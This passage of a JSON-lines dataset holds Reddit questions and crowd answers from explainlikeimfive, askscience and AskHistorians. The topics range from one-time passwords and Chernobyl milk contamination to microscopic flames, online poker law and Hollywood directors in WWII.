involvement of Richard Nixon in the Watergate break in.  They were fed crucial information numerous times by FBI Director Mark Felt, who's true identity was only known by Woodward and Bernstein.\n\n[All the President's Men](_URL_0_) is a movie worth watching...", "The fact that the Allies had broken the [Enigma Code](_URL_0_) was a critical secret and the Germans never knew. They also cracked the Japanese code and shot down and killed Admiral Yamamoto in the Pacific."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://greg.org/archive/23rd_inflatable_tank.jpg"], ["http://i.imgur.com/NNnkZ.gif"], ["http://en.wikipedia.org/wiki/Born_secret", "http://en.wikipedia.org/wiki/Teller-Ulam_design"], ["http://en.wikipedia.org/wiki/Operation_Mincemeat"], [], ["http://en.wikipedia.org/wiki/Battle_of_Lake_Trasimene", "http://en.wikipedia.org/wiki/Atomic_spies", "http://en.wikipedia.org/wiki/Hannibal#Overland_journey_to_Italy"], [], ["http://en.wikipedia.org/wiki/Sericulture"], [], ["http://en.wikipedia.org/wiki/Knights_Templar#Arrests.2C_charges.2C_and_dissolution", "http://www.snopes.com/luck/friday13.asp"], ["http://en.wikipedia.org/wiki/Colossus_computer"], ["http://en.wikipedia.org/wiki/Pope_Stephen_II", "http://en.wikipedia.org/wiki/Donation_of_Constantine", "http://en.wikipedia.org/wiki/Pepin_the_Short"], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Enigma_machine"], ["http://www.cbsnews.com/2100-201_162-529661.html", "http://en.wikipedia.org/wiki/Medical_and_mental_health_of_Abraham_Lincoln", "http://en.wikipedia.org/wiki/Grover_Cleveland#Cancer"], [], [], ["http://en.wikipedia.org/wiki/Bahram_V"], ["http://www.imdb.com/title/tt0074119/"], ["http://en.wikipedia.org/wiki/Enigma_code"]]}
{"q_id": "bywe6m", "title": "how does single use password work?", "selftext": "I'm talking about applications that constantly keep generating a new \"password\" or verification  code with a short life time ( 1 minute ? ).\n\nLike \"steam guard\" or \"Google authenticator\".\n\n\nIntuitively I think that there is a seed and an algorithm that the application and the server share, but won't that be easily hacked or replicated?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bywe6m/eli5_how_does_single_use_password_work/", "answers": {"a_id": ["eqmknbz", "eqmljld", "eqmlrg9", "eqmotoj", "eqnt2ps", "eqnyi7r"], "score": [2, 3, 9, 2, 2, 2], "text": ["Seed is a shared secret. It's shared once and nobody else knows it and never re-shared\n\nAlgorithm relies on accurate clock too :)", "Dont know how steam guard realised, and doubt anyone will tell that. My guess is that yes, they have seed, so everyone would not have same values. Then they add time in some format and calculate one way encryption.\n\nOne way encryption (function) is a function that is easy to calculate but difficult to invert. Example - hash functions.\n\nSo when you open steam guard, it calculates a function based on your account seed. Same is done on server and both results are compared.", "Yes. there is a secret seed and an algorithm based on time.\n\nThe whole thing is standardised (for compatibility).\nI'm not sure about the exact details, but first you agree on a seed (a long number, or a QR code you scan with your phone). \nAt the time when you need a password, the server as well as your authenticator take there seed and the time of the day up to half of the minute and generate the 6 digit code. you transfer this 6 digit code and if it matches your are logged in.\n\nTo hack it you need the seed (obviously), or have luck with a login once (guessing the 6 digit code) and disabling the authentication when logged in.", "Your device and the server have a shared secret key. Using the date/time of the day and the secret key, your device and the server can calculate the password for said time.", "Most one time passwords are based on both the server and the application agreeing what the time is. They are TOTP, Time-based One Time Passwords.\n\nThere are things called [cryptographic hash functions](_URL_1_), which take any amount of data, and turn it into a fixed-length code. These functions are designed by mathematicians to have these attractive properties:\n\n* The same input always gives the same output\n* Every possible output is equally likely, even if just looking at part of the output\n* Knowing an output, it cannot be possible to work out the corresponding input without trying most of the possible inputs\n* Changing even a little bit of the input causes a really big change in the output; the [avalanche effect](_URL_0_)\n\nIf any of the functions start to lose these properties (e.g. someone finds a hack), the global security community gets cold feet and starts moving to newer functions that need more power but are less hackable. For example, MD5 was replaced with SHA1 some time ago. SHA1 is now a little in use but mostly replaced with SHA2, because the first signs of SHA1 being broken are visible.\n\nSo, with that in mind, both Google's server and your authenticator previously shared a secret **unique to you**, e.g. \"SpookySecret\". Both Google and the authenticator **agree what time it is**. So let's take that secret and append the current time to it, and put it through a hash function:\n\n    SHA1 of \"SpookySecret-2019-06-10-12:00\" = 6c45c45ea617247b74cd85849ae276a2b48871b6\n    SHA1 of \"SpookySecret-2019-06-10-12:01\" = efc61dd7a534d6c9a929994cea510f98030e169b\n    SHA1 of \"SpookySecret-2019-06-10-12:02\" = 5b3e9f94d6d73884c149797c4455f08e9d412394\n    SHA1 of \"SpookySecret-2019-06-10-12:03\" = f488149aa73061f4009ff89a8c4bd2190bd98ce9\n\nWe now have an endless stream of unguessable codes, that both the server and authenticator can generate. The server can also note that you already used a specific code (so nobody else can reuse it), and they know what the past/future codes will be and can stop you entering too old or too new a code, after allowing the possibility the authenticator's clock might run fast or slow.\n\nWe could even just take the last 4 letters (71b6, 169b, 2394, 8ce9), or atke the  ecause that's more convenient to type, and it's still the case every possible code is equally likely, there are just fewer codes. The customer has to get the right one, it's very unlikely they'd guess it, and Google will block you if you try more than a handful of times.\n\nCan it be *hacked*? Only if someone breaks fully into your phone, breaks all the security inside the phone, and steals the secret. So the next layer of defense is to encrypt the secret with a password, so something *not even on the phone* protects the secret from hackers who could break into the phone.", "You mean Two-Factor Authentication like Google Authenticator?\n\n & #x200B;\n\nIn simple terms, the authentication service will create a special key that is shared with your authenticator device, in this case, your phone. This key is then used to calculate an ID number every 60 seconds. Both the server and your authentication device must have synchronized clocks so they generate the same ID. Even if hackers get your ID number, if they do not use it immediately, it will expire. They also cannot decipher the source key from just having the ID number.\n\n & #x200B;\n\nWhen you get verification codes in email or text message, these are simply just randomly generated tokens."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Avalanche_effect", "https://en.wikipedia.org/wiki/Cryptographic_hash_function"], []]}
{"q_id": "3p7y6r", "title": "what does it mean when people say searching something puts you on a list?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3p7y6r/eli5what_does_it_mean_when_people_say_searching/", "answers": {"a_id": ["cw3wmsy", "cw3wo8c"], "score": [3, 2], "text": ["The same way that when you sign up for Facebook, you get accurate friend suggestions, or when you're online you see targeted advertising. Whatever you do online has 'digital fingerprint' either through your isp or elsewhere, nothing is truly anonomous once you are online. ", "The NSA has partnered (for lack of a better word) with companies like Google, Microsoft, and so on, and ISPs as well, so that their data can be sent to the NSA. We don't have the exact technical details, but as a wild guess, Google might send a log of every search since the last log was sent every few hours. In addition to that the NSA cracked them and monitors even more from there. Most of it is keyword- or account-based.\n\nThat said, though, you're not going to end up on any lists for searching up 'how to make a bomb'. It'll be entered in a database, yes, and who knows, maybe it'll be used as evidence against you if you do go make a bomb and blow it up, but they're not really that concerned with most people. Asking this question is almost certainly harmless. If you're worried try [DuckDuckGo](_URL_0_) and look for other services like it, but keep in mind it's often impossible to verify that it's completely private."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://duckduckgo.com/"]]}
{"q_id": "5ms8ws", "title": "Immediately after the Chernobyl nuclear meltdown, did the Soviet Union introduce radioactive cows into the food supply?", "selftext": "A programming urban legend features [a coder who worked at a Soviet train station](_URL_0_). The computer at the station inexplicably crashes on a predictable timescale; upon investigation, the coder discovers that the crashes occur when cows are shipped through the station. Further investigation reveals that intense radiation from the cows causes the computer to crash. \n\nIs this story true or plausible? Did the USSR introduce radioactive food into the food supply?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ms8ws/immediately_after_the_chernobyl_nuclear_meltdown/", "answers": {"a_id": ["dc6wbx2"], "score": [16], "text": ["The answer to your last question is \"yes\" but I find the story itself utterly impossible. Radiation can cause computer chips to malfunction, but to penetrate just the chip housing (not to mention computer casing, the building, train car, or more than some meters of air) the radiation from the supposed radioactive cows would need to be in form of gamma radiation. Alpha and beta particles simply cannot penetrate even the flimsiest of obstacles and attenuate rapidly in air as well.\n\nGamma ray sources sufficiently powerful to be even detectable in a neighboring building as a train passes by would be very rapidly lethal to any animal unfortunate enough to have ingested one. \n\nHowever, it is true that the USSR introduced radioactive food inadvertently into food supply following the Chernobyl accident. The largest source of radioactivity in food was milk from cows outside the initial exclusion zone (30 km from the plant). While the exclusion zone was evacuated, farmers outside the zone were told to continue their work, and pastures and meadows were used as if nothing had happened. Unfortunately, the grass their cows ate was in many cases strongly contaminated by radioactive iodine-131 in particular. \n\nBefore Soviet authorities could get their act together and begin monitoring food supplies, significant quantities of contaminated milk (and quantities of other foodstuff) had been shipped and consumed. Milk was largely responsible for the largest single documented health damage from Chernobyl accident: radioactive iodine in it concentrated in the thyroid glands of children and adolescents, resulting to (estimated) 4000 cases of thyroid cancer, including 15 deaths as of 2006.\n\nThe sad thing here is that iodine-131 contamination is very short-lived and merely banning milk and vegetable sales from the more contaminated regions for a few months would have prevented thyroid cancers almost entirely. \n\n**Sources**\n\nMedvedev, Z. (1990). The Legacy of Chernobyl.\n\nThe Chernobyl Forum (2006). Chernobyl\u2019s Legacy: Health, Environmental and Socio-Economic Impacts. \n\nEDIT: Spelling and formatting."]}, "title_urls": [], "selftext_urls": ["http://beza1e1.tuxen.de/lore/crash_cows.html"], "answers_urls": [[]]}
{"q_id": "95ey0k", "title": "Europeans first encounters with American animals.", "selftext": "Do we have any accounts of Europeans encountering American animals for the first time? How did they describe these animals and what did they think of them. It must have been terryifying encountering an aligator or a bison for the first time. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/95ey0k/europeans_first_encounters_with_american_animals/", "answers": {"a_id": ["e3s8y5v"], "score": [2], "text": ["While there's always more to say on the subject, you might be interested in u/sunagainstgold's previous answer to [What did European settlers think of the alligators?](_URL_1_). I'd also recommend sun's related discussion on [Were early European visitors to the New World puzzled to find familiar species, like bears and wolves, living there?](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4vddcx/were_early_european_visitors_to_the_new_world/", "https://www.reddit.com/r/AskHistorians/comments/4r5ipp/what_did_european_settlers_think_of_the_alligators/"]]}
{"q_id": "7pibeq", "title": "Did the experience in post-Civil War era US play a role in shaping the policy in post-WWII US occupation of Nazi Germany and Japan?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7pibeq/did_the_experience_in_postcivil_war_era_us_play_a/", "answers": {"a_id": ["dsif3j7"], "score": [2], "text": ["I\u2019m more familiar with the Civil War than the WWI recovery and the WWII recovery but I\u2019d like to point out that there were two massive factors to the WWII recovery plan which were kind of opposite lesions from the Civil War.   \n\nWith the Civil War, there was a lot of destruction requiring repair.  There were massive social and economic transformations required as part of the ending of slavery.   Those were drivers to encourage investment.  On the flip side of the coin, much of the South remained in active rebellion via the KKK and in lynching blacks and maintaining white power.   Many Northerners did not share President Lincoln\u2019s and Johnson\u2019s general sense of forgiveness and these Northerners wanted to punish the South.   The federal government needed to occupy the South for a while to ensure the peace and protect the blacks.  The South wanted the North out and eventually got their way.   In hindsight, a lot was lost with social progress but at least the South remained loyal and peaceful, at least towards the whites.  America didn\u2019t spend a ton of money on recovery and it worked more or less fine.  \n\nWWI came and finished and the punishments placed on Germany were severe.  Germany couldn\u2019t recover and add in the Great Depression and the economic disaster lead straight to WWII.   \n\nSo, there was a massive lesson there.   You don\u2019t destroy the conquered economy.  Help it recover.   \n\nThe second massive concern was Communism.   The world saw what it did to the wealthy leadership in Russia.   The end of WWII was obviously the start of the Cold War with Russia.   America needed strong allies.   So, the biggest well known stated reason for plans like the Marshal Plan to help the Western countries recover were to build strong economies that would align with America against communism.   So, again it was in America\u2019s interest to dump in a ton of money into friendly economy\u2019s to help them grow and encourage a strong western economy.   \n\nSo, I just scratch my head to think of major ties to the Civil War as America seemed to get away with something (I.e. underinvestment and abandonment) that clearly didn\u2019t work after WWI.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1rpive", "title": "Is it possible to create a microscopic flame?", "selftext": "All flames, such as from a candle or lighter all tend to go out after reaching a minimum size. I suspect that simply making a tiny source isn't enough to do it. For example, birthday candles are much smaller than standard candles, but their flame is only marginally smaller.\nIs there some limiting factor?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rpive/is_it_possible_to_create_a_microscopic_flame/", "answers": {"a_id": ["cdpk6ay", "cdplpdz", "cdplrw5", "cdpm10s", "cdpotjs", "cdpp37h", "cdpqfsu", "cdpr74b", "cdpt5kj"], "score": [4, 33, 513, 3, 2, 9, 13, 3, 7], "text": ["well it depends on what you would call a flame but in theorie you can let just a few atoms reacts and they will release light and heat doing this (a flame). so id say that it is possible at an atomic level. \n\nEdit: But a candle ofourse has a lot of limiting factors. it needs the right amount of energy to get the reaction started and to keep it going. if the flame gets to small then it cant supply itself of enough parrafine and it will stop burning. if the fuse is too short then the surface area to burn with enough energy to sustain. \nbut then also you got the temprature of the enviroment and the  amount of oxygen and the pressure etc.. \n\nOh and about the reguar/birthday candle flame size. the size of the candle doesnt really matter it is the fuel and oxygen supply that matter. \n", "How sustainable do you want it?\n\nBecause technically little miniature \"fires\" are happening all the time at the molecular level. So if you count those, the smallest fire would be that.\n\nThe sustainable fire is different, and would change depending on what planet you were on and depending where on Earth you were because pressure changes. The limiting factors being volume, scale, and pressure.\n\nYou can scale a flame down indefinitely, but there will be a certain point where it can't sustain a flame. The amount of heat a flame produces/loses isn't a 1:1 ratio, and as it shrinks it loses more heat than it produces. As far as an exact size? Honestly, you're not going to get much smaller than a match. 2-3mm is probably the smallest \"real\" flame without cheating.\n", "The answer is sort of. You can not create an extremely small flame from a source such as a traditional candle. But there is a way to create micro flames.  This is called microcombustion and they are flames smaller than the width of a millimeter.  They are typically made in small hard ceramic combustors (such as alumina oxide) and they burn at temperatures of up to 2000 C. The combustors have small channels through which the fuel flows and the flame burns. They are typically fueled by hydrocarbons and oxygen. Methane, butane, propane, etc.\n\nThe two inlet flows of the fuels meet and combine at some point and then you have your combustible gas. The point at which the two flows meet exhibits turbulent flow and this is the limiting factor at ignition for the combustor due to wall conditions and fluid dynamics not worth explaining here. Turbulent flow tends towards extinction for a flame. Typically a large candle type flame will be seen at the end of the exhaust channel.\n\nAs the combustor ramps up to its max temp (steady state) the walls of the exhaust channel heat up and begin to provide the thermal energy necessary for the gases within the channel to ignite. You will hear loud pops as ignition events begin to occur within the channel. As the temperature of the wall increases due to the heat seen from the exhaust flame, the ignition events begin occurring closer to the mixing points of the 2 fuels.\n\nFinally at steady state the walls of the combustor at the mixing point of the fuels is so hot that the gases ignite immediately upon mixing. Due to the turbulent nature of the flow, they go out almost immediately.  They are also almost immediately replaced by fresh uncombusted fuel which them ignites. This cycle repeats itself many times per second and you end up with a sustained micro flame. The ratio of gases determines how many times per second ignition occurs and you can actually say that the flame has a frequency (I.e. You can hear the flame buzz while it is lit).\n\nSo in short, yes micro flames are possible, just not from a candle.\n\n\nTl;dr\nTeeny candles don't work. Burn hydrocarbons in a ceramic combustor for super hot, buzzing micro flames. Science is awesome.", "Just thought I'd put this out there.. Cavitation is something that we've all seen, heard and even felt. It causes a microscopic 'light show' and temperatures yielding thousands of degrees kelvin. It is a big reason why water pumps and propellers fail. \n[Cavitation](_URL_1_)\n[Cool video](_URL_0_)", "I always used to wonder about this as a kid, because in books like The Borrowers series the characters would have a tiny campfire made out of twigs. It never made sense to me because twigs burn really quickly, it didn't seems possible to have a small fire without controlling the flow of oxygen to the flame to slow down combustion.", "Some good comments so far but to put it simply:\n\nSurface area and volume do not scale the same. When a flame gets small enough it doesn't have enough combustion volume to overcome the heat loss, so it cools too fast and dies out.\n\nThat's most of the answer for most of the situations.", "If we are speaking of a steady, hot flame in the air at room temperature and atmospheric pressure, there is a limit because the energy loss at a given temperature would be proportional to the surface area (size squared) while the output power is proportional to the volume. \n\nConsequently, very small flames lose more heat at the combustion temperature than they produce. Unless of course you use a gas mix that combusts at a very low temperature, in which case the flame could be arbitrarily small (but it will be cold and it is not clear if you should call that a flame). \n\nPersonally, the smallest actual in-air flame that I have seen was smaller than 1 mm, at the end of a hypodermic needle feed oxygen and hydrogen mixture. You can probably go somewhat smaller with hydrocarbons and oxygen (e.g. acetylene and oxygen). Maybe smaller still with chlorine trifluoride or something similar as an oxidizer, but it would be difficult to make a nozzle that can withstand it.\n\nIt should be possible to make a smaller flame at higher temperature, or in a less thermally conductive environment than air.", "Viscous effects scale with 1/VL (part of Reynolds Number) where V is a typical speed in your scenario, and L is a typical length.  Viscosity tends to mix and split up flows, so at very small scales your flame would become less smooth and steady.", "Well you have to know that a flame is also a plasma (the fourth state of the matter (solid liquid and gazeous being the other three)) wich consist of a cloud of electron et ion (atoms that lost their electron).\n\nIt would be possible to create a plasma as small as you want to do, as long as you can control it.  Frome here on, we would need an experienced plasma physicist.  You can control a plasma with a magnetic field (since it's only electron and Ions, it's \"pretty\" easy thing to do (we know how to do it and we can do it)).\n\nI'm a physic teacher and in a microfabrication lab, we create a plasma in a vaccuum chamber to clean a silicium chip."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=G5D0F0tDYZQ", "http://en.wikipedia.org/wiki/Cavitation"], [], [], [], [], []]}
{"q_id": "9zwatb", "title": "just how dangerous is it to use a huawei device?", "selftext": "There\u2019s been [a lot of news reports recently](_URL_0_) about Huawei spying.  I just got a Huawei laptop.  How exactly can Huawei spy on me?  Like, what can they do and why has nobody been able to search their products and answer this definitively?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zwatb/eli5_just_how_dangerous_is_it_to_use_a_huawei/", "answers": {"a_id": ["eaciyrz", "eacjzmf"], "score": [11, 5], "text": ["Well, 99% of computer makers can spy on you, if they want to. Google and Amazon do all the time. The question is what they DO with the information they have on you.\n\nThe fear is that **Huawei,** as a Chinese company, has a direct interest in keeping the info on you, and providing direct access to the Chinese Government.", "So let's theorize.   What does Chinese gov care about you personally? Probably nothing unless you're a military or political or high commercial asset. That can be convinced or pressured into leaking that info.  That's some spy games shit.\n\nWhat can the Chinese gov learn about trends in patterns of behavior and which influences affect US populations.  Is it political ideals?  Is it economic reform?  That can be datamined and turned into actionable intelligence.  What economic trade policies will have more impact.  What political battles will cause more turmoil.   Is it Tibetan/Uighur human rights or trade tariffs?\n\nThe same is being done by the US gov and the Russians of their own people as well as each others.\n\nThe difference is...the Chinese aren't buying US or Russian technologies by the boatload.   "]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/technology/comments/9zskw3/the_us_is_asking_the_world_to_say_no_to_chinese/"], "answers_urls": [[], []]}
{"q_id": "1t4ol7", "title": "why was online poker/gambling shut down?", "selftext": "I was too young to care about politics when Online Poker grew and was shut down. My interest has been sparked after watching Runner Runner.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t4ol7/why_was_online_pokergambling_shut_down/", "answers": {"a_id": ["ce4dygf"], "score": [2], "text": ["online poker was always a gray area in terms of legality, the only legislation that seemed to kinda apply to online poker was the wire act, which was created in 1961 and was created for making sports bets over the phone\n\nthe wire act didnt really apply directly to online poker and thus the legality was a gray area. the DOJ always felt that the wire act included poker but there have been court rulings that have said otherwise.\n\nin 2006, right before bush left office, he passed the unlawful internet gambling enforcment act (UIGEA). basically in short this law said that it is illegal to facilitate the transfer of money to an \"illegal\" gambling site\n\ntechnically this didnt change anything in terms of the legality of online poker itself but it did have a huge effect. banks basically prohibited people from transfering money to poker sites since they didnt want to deal with the gray area of whether online poker was legal or not.\n\nin response, poker sites set up some dummy businesses so that when someone transfers money on to a poker site it shows up as if you are sending it to a legit business, then the site just puts the money into your account.\n\neventually the DOJ brought a lawsuit to the largest of the poker sites for bank fraud and froze the poker sites bank accounts. since the poker sites operate on a global scale, an agreement was made, the sites would close their doors to USA players in exchange for their bank accounts being unfrozen. \n\nthis was known as \"black friday\" in the online poker world, usa players were blocked from playing. the sites continued to run but only outside the USA. many professionals who made their living had to move to canada/mexico to continue to play\n\nsince that day the sites have been in court working out the legality and bank fraud and all that. i havent really followed much since black friday, it seems that they must have came to an agreement in terms of legality since online poker is now available in some states."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "125z81", "title": "what is primordial soup?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/125z81/eli5_what_is_primordial_soup/", "answers": {"a_id": ["c6sgagz", "c6sgao8"], "score": [33, 8], "text": ["It's an idea that, once, many many years ago - before there was life - there were pools and lakes and maybe oceans of water that were full of minerals and salts and rich in complex chemicals. The idea is that, through various means, these chemicals, in a soup, interacted with each other to create proto-life. We THINK something like thins MIGHT have been involved in the beginning of life as we know it (abiogenesis) but it's just one idea among many.\n\n(or did you want an actual breakdown of ingredients?)", "Life is made of organic stuff. In the beginning, there was no organic stuff. The hypothesis is that inorganic stuff turned into organic stuff through chemical reactions, possibly aided by lightning. This general mess of simple organic material in the early days of Earth that later turned into the more complex building blocks of life is called \"primordial soup\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "13zphe", "title": "When I take a photo, am I taking a snapshot of only the colors within the visible spectrum of light? Or does more of the spectrum develop than we can note without other instruments?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13zphe/when_i_take_a_photo_am_i_taking_a_snapshot_of/", "answers": {"a_id": ["c78lenw", "c78oirp", "c78s702", "c79ds2q"], "score": [16, 4, 2, 2], "text": ["The camera is designed to do that, but as a matter of fact the CCD also captures light from different wavelengths. You can google CCD sensitivity if you'd like some more detailed graphs on that, or check the wiki: _URL_0_\n\nAs a matter of fact, today's digital cameras have something called a hot filter, which is a piece of glass in front of the CCD that filters out non-visible light. So, standard pictures are pretty much visible only. \n\nAs a side note, one very common thing is to have this filter removed and replaced by a black filter, which filters visible light, making the camera only sensitive to infrared and below (of course, the colors that you see will be \"fake\", in the sense that it depends on how you chose your camera to respond to these foreign wave-lengths). If you search for infrared photography, you'll find plenty of awesome stuff.", "I know that cellphone's cameras can at least pick up infrared . You can see the light used on TV remotes if you point it at the camera. ", "apart from sensors, there are also lenses designed for wider-than-visible-light spectrum, e.g. coastal optics 60mm APO: _URL_0_\n\n", "Daguerreotypes are primarily sensitive to UV light. Photography studios often used to have cobalt blue skylights/windows so that more of the light falling on the subject was in the part of the spectrum that the daguerreotype was most sensitive to. [source](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Charge-coupled_device"], [], ["http://diglloyd.com/articles/CoastalOptics60f4/index.html"], ["http://books.google.fr/books?id=FLTyvuWX6MMC&amp;pg=PA30&amp;lpg=PA30&amp;dq=daguerreotype+cobalt+blue+glass&amp;source=bl&amp;ots=U8-uM0Sx05&amp;sig=At4B-yrX3FoCQgJT373lZehB9C8&amp;hl=en&amp;sa=X&amp;ei=jE65UPmmHIq20QXwqIGgBg&amp;redir_esc=y#v=onepage&amp;q=daguerreotype%20cobalt%20blue%20glass&amp;f=false"]]}
{"q_id": "5dge34", "title": "During WWII, a number of Hollywood celebrities like Henry Fonda and Jimmy Stewart served in the military. How were they treated by the command staff and how were they viewed by fellow soldiers?", "selftext": "Side question I guess is whether they were treated differently than other very rich people.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5dge34/during_wwii_a_number_of_hollywood_celebrities/", "answers": {"a_id": ["da4tpie"], "score": [98], "text": ["I don't know about Henry Fonda and Jimmy Steward, but there was a component of Hollywood that was welcomed by the military, and even tacitly encouraged: Directors. In 1941, Frank Capra, John Ford, John Huston, George Stevens, and William Wyler were all well beyond the age in which they could have been drafted, but decided on their own accord to join the war effort. The footage they shot is of immense cultural, esthetic, and historic value.\n\nJohn Ford, famous for his Westerns and winner of the Academy Award for Best Director in 1935 and 1940, was the first of the \u201cFive\u201d to enlist: Ford joined the Navy as a Major in 1941 (he was 47). The Navy had no film or photography department at the time of his enlistment, so Ford was put to work founding it. His documentary on the Battle of Midway and his propaganda film \"December 7th\" would win him two academy awards when he was in service. Ford is the director whose footage gets closest to the action: he was injured by shrapnel when filming the Battle of Midway, and closely followed the first wave of landings on Omaha Beach, directing a team of cameramen from behind beach obstacles. Ford would remain an active Navy Reserve Officer and would return to active service in the Korean War, being promoted to the rank of rear admiral on his last day of active service. After World War II he returned to directing with mixed hits and flops, but was most successful when directing what he directed best: Westerns.\n\nFrank Capra took the most \u201cdirect\u201d route into the war effort. Enlisting at 44 years of age a few days after Pearl Harbor, he had left his role as arguably the biggest (certainly most award-winning) headlining director in Hollywood because of what he called \u201cguilt\u201d but more closely resembled insecurity stemming from his status as an Italian-born immigrant. Capra was awarded the rank of Major and was assigned to work directly under Army Chief of Staff George Marshall (who later would become Secretary of State under Truman and mastermind the Marshall Plan). Over the course of the war, Capra would produce a seven-film series of films titled \u201cWhy We Fight\u201d, a series of documentary films to be screened to soldiers. Although doubtlessly of great propagandistic value in terms of their effects on morale, the films also went into great detail to explain the specific social and political situation in Europe and the Far East, laying down under no uncertain terms why, precisely, the American G.I.\u2019s were fighting. The films were a huge success, in both terms of impact on the troops and in terms of achievement as films; the first in the series, \u2018Prelude to War\u201d won the 1943 Academy Award for best documentary. Capra\u2019s star power was integral in securing participation from Walt Disney to create animated diagrams, and several Hollywood composers were involved in composing the score. Today the films are considered a vital piece of Americana.\n\nJohn Huston was slightly disappointed on having joined only to find himself attached to the Army Signal Corps on the Aleutian Islands in 1941 (he was 35 at the time). This didn\u2019t stop him from producing a short but critically acclaimed documentary on the Air Force pilots that repelled the Japanese offensive at Dutch Harbor, on the Alaskan mainland, as well as the Battle of Midway farther south. Huston, who was first and foremost a screenwriter (he had only directed one feature before enlisting, albeit a massively successful one: \"The Maltese Falcon\") found himself on the short end of Army censorship at the time, and his features were heavily edited (Army leadership believed them to be \"demoralizing\"). His documentary on PTSD \"Let There Be Light\" was only de-censored in 1981. Unlike Capra and Ford, Huston was less of a headlining director, and his war service was a great career trampoline: he would go on to direct a number of classics between 1949 and 1975.\n\nThe most difficult and traumatizing wartime experiences are tied to George Stevens, and they weren\u2019t all in combat. Made commander of the Pictorial Services of the Army when he enlisted in 1943, he filmed D-Day and the liberation of Paris, but his most noteworthy work he produced was shot when he entered Dachau Concentration camp with his film crew on its liberation. Following the war, it would take him a few years before he would return to directing. He never again worked on a comedy, a huge deal for the director who prior to the war had made a name for himself filming light-hearted movies starring Katharine Hepburn, Fred Astaire and Ginger Rogers. Following his service, he would direct \"A Place in the Sun\" in 1951 (which would win six Academy Awards including Best Director), \"Shane\" in 1953 (nominated for an oscar), \"Giant\" in 1956 (again willing the Oscar for Best Director) and finally \"The Diary of Anne Frank\" in 1959 (for which he would be nominated for Best Director).\n\nFinally, William Wyler was a German-born Jew with more to prove than even Frank Capra: his cousin was Carl Laemmle, founder of Universal Pictures. He had been shipped off to Los Angeles in 1923 at the age of 21 to work for his cousin after the young man showed little or no interest in the family haberdashery business. However, once in Los Angeles, he (with ups and downs) worked his way up from the bottom of the studio ladder, and once he got into a directors chair he proved that he belonged there: directing such classics as \"Dodsworth\" (1936), \"These Three\" (1936), \"Dead End\" (1937), and \"Wuthering Heights\" (1939), gaining a reputation as a perfectionist who demanded take after take from his actors. However, some guilt attached to his german roots might have pushed him to direct \"Mrs. Miniver\" in 1941, the story of the travails of a middle class English family adjusting to the war in Europe. \"Mrs. Miniver\" won five academy Academy Awards, including Best Director. Wyler, who had become a U.S. citizen in 1928, enlisted in the Army Signal Corps in 1942. He was attached to several bombing missions, and the resulting documentaries gained critical acclaim: \"Memphis Belle,\" the story of a B-17 Flying Fortress bomber was a personal favorite of President Roosevelt, while \"The Fighting Lady,\" the story of an aircraft carrier, won the 1945 oscar for best documentary. For Wyler, the war was also a great boost to his career, after his service he would direct such classics as \"Roman Holiday\" in 1953 and \"Ben-Hur\" in 1959.\n\nIf you'd like to read more on directors, check out Five Came Back: A Story of Hollywood and the Second World War By Mark Harris"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a92aio", "title": "telemetry", "selftext": "I saw an example as tagging wild animals to track their behaviors. But, I don't feel I am really understanding what Telemetry is. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a92aio/eli5_telemetry/", "answers": {"a_id": ["ecfxdrm"], "score": [5], "text": ["Telemetry comes from the Greek word \"tele\" meaning \"far off\" or \"at a distance\" and the Greek word \"metron\" meaning \"to measure\".\n\nTelemetry is the act of measuring at a distance.  We usually use it these days to talk about data being captured from one device and exported to some other location for storage and analysis.\n\nIn the case of wild animal tracking, telemetry is the time/location data being generated and transmitted from their tracking devices to some central database that cross references it against maps and other related data."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
